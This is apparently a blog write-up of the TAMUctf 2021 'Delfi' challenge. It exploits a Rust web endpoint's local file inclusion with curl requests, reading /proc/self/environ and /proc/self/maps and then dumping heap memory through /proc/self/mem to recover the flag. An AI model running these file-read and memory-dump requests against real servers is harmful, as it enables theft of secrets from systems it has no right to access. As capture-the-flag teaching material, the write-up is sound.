TAMUctf 2021 — Rust App LFI to Memory

TamuCTF

Challenge: Delfi

For this challenge, I don’t have the original endpoint anymore, so I’ll simulate the whole thing locally. But the experience is the same (I swear!).

http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/delfi?offset=0&size=-1

Analyzing the Target

We got this Rust source code:

  • Calls a new process “get_flag” and store the stdout output on the flag variable (looks like we have something here)
  • Declares the /oracle endpoint
  • Set a path string using the path in the URL (after /oracle)
  • Open the file
  • Read a section of the file indicated by the parameters offset and size
  • If size is -1, read the entire file
  • Send the result in the response

LFI to.. Nowhere?

Since we have the flag, let’s try some common flag places, which we already know won’t work 😅 The first is just to test it’s working.

$ curl --output delfi.bin http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/delfi?offset=0\&size=-1 > delfi.bin
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 43.8M 0 43.8M 0 0 181M 0 --:--:-- --:--:-- --:--:-- 180M
$ file delfi.bin
delfi.bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2f1e0e4e95d4d849d9ad70eab9529db837595815, for GNU/Linux 3.2.0, with debug_info, not stripped
(venv-ctf) neptunian:~/ctf/tamuctf/delfi/attacks$
$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/flag404$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/flag.txt404$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/flag404$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/flag.txt404$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/flag404$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/flag.txt404

Following the leads

Not really a problem, right? We started with a lead in the get_flag command that it calls. Let’s try downloading it:

$ curl -v http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/get_flag
...
< HTTP/1.1 404 Not Found
< content-length: 0
...
curl -s --output - http://192.168.1.181:3030/oracle/proc/self/cmdline | strings
./delfi
$ curl -s --output - http://192.168.1.181:3030/oracle/proc/self/environ | stringsSHELL=/bin/bash
...
PWD=/home/kali/ctf/tamuctf/bin
...
HOME=/home/kali
...
USER=kali
...
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/kali/ctf/tamuctf/bin/flagpath
...
_=./delfi
$ curl -s --output - http://192.168.1.181:3030/oracle/home/kali/ctf/tamuctf/bin/flagpath/get_flag > get_flag$ file get_flagget_flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1f82173a05fef9676e924cfe7cc3cc7584a084ee, with debug_info, not stripped

Some cheap Binary Analysis

Let’s do some basic analysis here to check it. The flag format is gigem{<flag>}.

$ strings get_flag | grep flag
called `Option::unwrap()` on a `None` valuecalled `Result::unwrap()` on an `Err` valuerootsrc/get_flag.rsFailed to set uid
/root/flagNullPtrStringConvError
recv_from_flags
recv_from_with_flags
recv_with_flags
custom_flags
flags
_ZN3std3sys4unix3net6Socket15recv_with_flags17h31b27875648c28c3E
...
$ curl -s -o /dev/null --head -w "%{http_code}\n" http://192.168.1.181:3030/oracle/root/flag
404
$ export RUST_BACKTRACE=1
$ ./get_flag
thread 'main' panicked at 'Failed to set uid: Sys(EPERM)', src/get_flag.rs:8:6
stack backtrace:
0: rust_begin_unwind
at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/std/src/panicking.rs:493:5
1: core::panicking::panic_fmt
at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/core/src/panicking.rs:92:14
2: core::option::expect_none_failed
at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/core/src/option.rs:1300:5
3: get_flag::main
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.
$ strace ./get_flagexecve("./get_flag", ["./get_flag"], 0x7ffca03990b0 /* 31 vars */) = 0
brk(NULL) = 0x558475c14000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
...
close(3) = 0
setuid(0) = -1 EPERM (Operation not permitted)
write(2, "thread '", 8thread ') = 8
...
$ sudo chown root:root get_flag 
$ sudo chmod u+s get_flag
$ ls -l get_flag
-rwsr-xr-x 1 root root 3369904 Jun 26 13:01 get_flag
$ sudo echo "Some fake flag" > flag
$ sudo mv flag /root/flag
$ ./get_flag
Some fake flag

LFI to Win

I’ll just jump over the details about the lot of options I tried to get the flag. At first, I tought I would need to somehow find an RCE to run the get_flag, but couldn’t find any. I explored the whole procfs trying some other lead and was almost giving up. Almost 😎

$ cat /proc/self/maps
557fd5f93000-557fd5f95000 r--p 00000000 08:06 786484 /bin/cat
...
557fd796a000-557fd798b000 rw-p 00000000 00:00 0 [heap]
...
7f849b8db000-7f849b8dc000 rw-p 0002d000 08:06 131341 /lib/x86_64-linux-gnu/ld-2.31.so
7f849b8dc000-7f849b8dd000 rw-p 00000000 00:00 0
7ffdec1df000-7ffdec200000 rw-p 00000000 00:00 0 [stack]
...
$ curl -s --output - http://192.168.1.181:3030/oracle/proc/self/maps | strings562f51d39000-562f51d9d000 r--p 00000000 08:01 1186475     /home/kali/ctf/tamuctf/bin/delfi562f51d9d000-562f5218a000 r-xp 00064000 08:01 1186475     /home/kali/ctf/tamuctf/bin/delfi...562f53476000-562f53497000 rw-p 00000000 00:00 0           [heap]7f99c0000000-7f99c0021000 rw-p 00000000 00:00 0...7f99ce0c8000-7f99ce0ed000 r--p 00000000 08:01 2889382     /usr/lib/x86_64-linux-gnu/libc-2.31.so...7f99ce457000-7f99ce458000 rw-p 0002a000 08:01 2889378     /usr/lib/x86_64-linux-gnu/ld-2.31.so7f99ce458000-7f99ce459000 rw-p 00000000 00:00 07ffcc8536000-7ffcc8557000 rw-p 00000000 00:00 0           [stack]7ffcc85a7000-7ffcc85aa000 r--p 00000000 00:00 0           [vvar]7ffcc85aa000-7ffcc85ab000 r-xp 00000000 00:00 0           [vdso]
$ rax2 0x562f53476000
94761260638208 # Start (Decimal)
$ rax2 0x562f53497000
94761260773376 # End (Decimal)
$ expr 94761260773376 - 94761260638208
135168 # Size
$ curl -s --output - http://192.168.1.181:3030/oracle/proc/self/mem?offset=94761260638208\&size=135168 > server_heap.bin$ file server_heap.bin
server_heap.bin: data
$ strings server_heap.bin | grep gigem
gigem{flag}
gigem{d4ng3r0u5ly_3xfil7r47in6_l0c4l_fil3_includ35}

References

--

--

Hacker tiozão do pavê de final de semana

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store